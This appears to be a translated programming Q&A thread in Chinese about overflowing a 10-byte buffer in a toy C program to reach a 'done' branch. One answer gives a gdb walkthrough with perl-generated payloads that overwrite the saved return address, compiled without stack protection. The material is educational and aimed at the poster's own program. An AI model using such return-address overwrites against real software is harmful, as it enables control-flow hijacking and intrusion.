我试图导致缓冲区溢出来覆盖变量以执行 if 语句的第一部分。但是,每次我尝试这样做时,执行 if 语句的第二部分都会发生分段错误。
这是代码:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(){
char username[10];
volatile int password = 0;
scanf("%s", username);
if(password != 0){
printf("done\n");
}else{
printf("tryharder\n");
}
return 0;
}
我用gcc编译它:
gcc pwn.c -o pwn
我也尝试过:
gcc pwn.c -o pwn -fno-stack-protector
当我尝试导致内存溢出时,我使用:
kali@salluc:~/$ ./pwn
00000000000000000000000000000000000000000000000000
tryharder
Segmentation fault
我想知道我应该做什么才能覆盖密码变量以及为什么我使用的方法不起作用。
尝试覆盖堆栈,将 RIP(在 x86_64 上,当今最常用的架构)指向
if(password != 0)
条件之后的部分。编译然后在gdb中调试它看起来像这样:
[marshall@jerkon]{10:27 PM}: [~/Hack] $ gcc aba.c -o aba -fno-stack-protector -ggdb
[marshall@jerkon]{10:28 PM}: [~/Hack] $ gdb ./aba
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./aba...
(gdb) r <<< $(printf "AAAAAAAAAAAAAAAAAA")
Starting program: /home/marshall/Hack/aba <<< $(printf "AAAAAAAAAAAAAAAAAA")
tryharder
tryharder
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7fab4c0 in _IO_stdfile_1_lock () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) disas main
Dump of assembler code for function main:
0x0000555555555169 <+0>: endbr64
0x000055555555516d <+4>: push %rbp
0x000055555555516e <+5>: mov %rsp,%rbp
0x0000555555555171 <+8>: sub $0x10,%rsp
0x0000555555555175 <+12>: movl $0x0,-0x10(%rbp)
0x000055555555517c <+19>: lea -0xa(%rbp),%rax
0x0000555555555180 <+23>: mov %rax,%rsi
0x0000555555555183 <+26>: lea 0xe7a(%rip),%rdi # 0x555555556004
0x000055555555518a <+33>: mov $0x0,%eax
0x000055555555518f <+38>: callq 0x555555555070 <__isoc99_scanf@plt>
0x0000555555555194 <+43>: mov -0x10(%rbp),%eax
0x0000555555555197 <+46>: test %eax,%eax
0x0000555555555199 <+48>: je 0x5555555551a9 <main+64>
0x000055555555519b <+50>: lea 0xe65(%rip),%rdi # 0x555555556007
0x00005555555551a2 <+57>: callq 0x555555555060 <puts@plt>
0x00005555555551a7 <+62>: jmp 0x5555555551b5 <main+76>
0x00005555555551a9 <+64>: lea 0xe5c(%rip),%rdi # 0x55555555600c
0x00005555555551b0 <+71>: callq 0x555555555060 <puts@plt>
0x00005555555551b5 <+76>: mov $0x0,%eax
0x00005555555551ba <+81>: leaveq
0x00005555555551bb <+82>: retq
End of assembler dump.
(gdb) break 10
Breakpoint 1 at 0x555555555194: file aba.c, line 10.
(gdb) r <<< $(printf "AAAAAAAAAAAAAAAAAA")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(printf "AAAAAAAAAAAAAAAAAA")
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb) stepi
10 if(password != 0){
(gdb) stepi
0x0000555555555199 10 if(password != 0){
(gdb) stepi
13 printf("tryharder\n");
(gdb) info reg
rax 0x0 0
rbx 0x5555555551c0 93824992235968
rcx 0x0 0
rdx 0x0 0
rsi 0xa 10
rdi 0x7fffffffdb30 140737488345904
rbp 0x7fffffffe080 0x7fffffffe080
rsp 0x7fffffffe070 0x7fffffffe070
r8 0xa 10
r9 0x7c 124
r10 0x7ffff7fa8be0 140737353780192
r11 0x246 582
r12 0x555555555080 93824992235648
r13 0x7fffffffe170 140737488347504
r14 0x0 0
r15 0x0 0
rip 0x5555555551a9 0x5555555551a9 <main+64>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) cont
Continuing.
tryharder
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb)
Continuing.
tryharder
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7fab4c0 in _IO_stdfile_1_lock () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) r <<< $(perl -e 'print "A"x18 . "\x66\x55\x44\x33\x22\x11";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(perl -e 'print "A"x18 . "\x66\x55\x44\x33\x22\x11";')
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb) cont
Continuing.
tryharder
Program received signal SIGSEGV, Segmentation fault.
0x0000112233445566 in ?? ()
(gdb) disas main
Dump of assembler code for function main:
0x0000555555555169 <+0>: endbr64
0x000055555555516d <+4>: push %rbp
0x000055555555516e <+5>: mov %rsp,%rbp
0x0000555555555171 <+8>: sub $0x10,%rsp
0x0000555555555175 <+12>: movl $0x0,-0x10(%rbp)
0x000055555555517c <+19>: lea -0xa(%rbp),%rax
0x0000555555555180 <+23>: mov %rax,%rsi
0x0000555555555183 <+26>: lea 0xe7a(%rip),%rdi # 0x555555556004
0x000055555555518a <+33>: mov $0x0,%eax
0x000055555555518f <+38>: callq 0x555555555070 <__isoc99_scanf@plt>
0x0000555555555194 <+43>: mov -0x10(%rbp),%eax
0x0000555555555197 <+46>: test %eax,%eax
0x0000555555555199 <+48>: je 0x5555555551a9 <main+64>
0x000055555555519b <+50>: lea 0xe65(%rip),%rdi # 0x555555556007
0x00005555555551a2 <+57>: callq 0x555555555060 <puts@plt>
0x00005555555551a7 <+62>: jmp 0x5555555551b5 <main+76>
0x00005555555551a9 <+64>: lea 0xe5c(%rip),%rdi # 0x55555555600c
0x00005555555551b0 <+71>: callq 0x555555555060 <puts@plt>
0x00005555555551b5 <+76>: mov $0x0,%eax
0x00005555555551ba <+81>: leaveq
0x00005555555551bb <+82>: retq
End of assembler dump.
(gdb) break 11
Breakpoint 2 at 0x55555555519b: file aba.c, line 11.
(gdb) r <<< $(perl -e 'print "A"x18 . "\x9b\x51\x55\x55\x55\x55";')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/marshall/Hack/aba <<< $(perl -e 'print "A"x18 . "\x9b\x51\x55\x55\x55\x55";')
Breakpoint 1, main () at aba.c:10
10 if(password != 0){
(gdb) next
13 printf("tryharder\n");
(gdb) next
tryharder
15 return 0;
(gdb) next
16 }
(gdb) next
Breakpoint 2, main () at aba.c:11
11 printf("done\n");
(gdb) next
done
15 return 0;
(gdb) next
16 }
(gdb) next
Program received signal SIGBUS, Bus error.
main () at aba.c:16
16 }
(gdb) q
A debugging session is active.
Inferior 1 [process 336779] will be killed.
Quit anyway? (y or n) y
[marshall@jerkon]{10:34 PM}: [~/Hack] $
你会发现24个字符允许你通过反复试验来覆盖堆栈上的返回指针。然后,一旦你让它崩溃,你会看到尽可能多的41(大写“A”)适合缓冲区,然后进入内存的另一部分(0x0000555555555555区域之外)。现在在您想要跳转到的位置设置一个断点,您可以使用break
0x0000112233445566 in ?? ()
一样的行中的数字就是你将到达的地址。现在只需插入最接近您的:
printf("done\n");
我的系统上是:
0x000055555555519b <+50>: lea 0xe65(%rip),%rdi # 0x555555556007
再次向后插入新的已知值。然后如您所见,当您看到(在我放置断点#2之后)时,覆盖将完成:
Breakpoint 2, main () at aba.c:11
11 printf("done\n");
(gdb) next
done
这个 BoF 非常琐碎,但你应该了解基本概念。在这里您可以找到有关缓冲区溢出的更多信息。在实践中,您将启用堆栈保护,即内核随机堆栈,并且通常它比跳转到不同的指令要复杂得多,您可能需要 shellcode 等。
如何让内存溢出
您正在这样做 - 将超过 10 个字节放入
password
数组中,使其溢出。
我应该怎么做才能覆盖密码变量
在 x86 上,堆栈向数字较低的地址增长。您必须在用户名之前输入密码,或者转移到不同的平台。
#include <stdio.h>
int main() {
volatile int password = 0;
char username[10];
scanf("%s", username);
if(password != 0){
printf("done\n");
}else{
printf("tryharder\n");
}
return 0;
}
为什么我使用的方法不起作用。
因为它不会覆盖
password
变量,所以它会覆盖不相关的堆栈。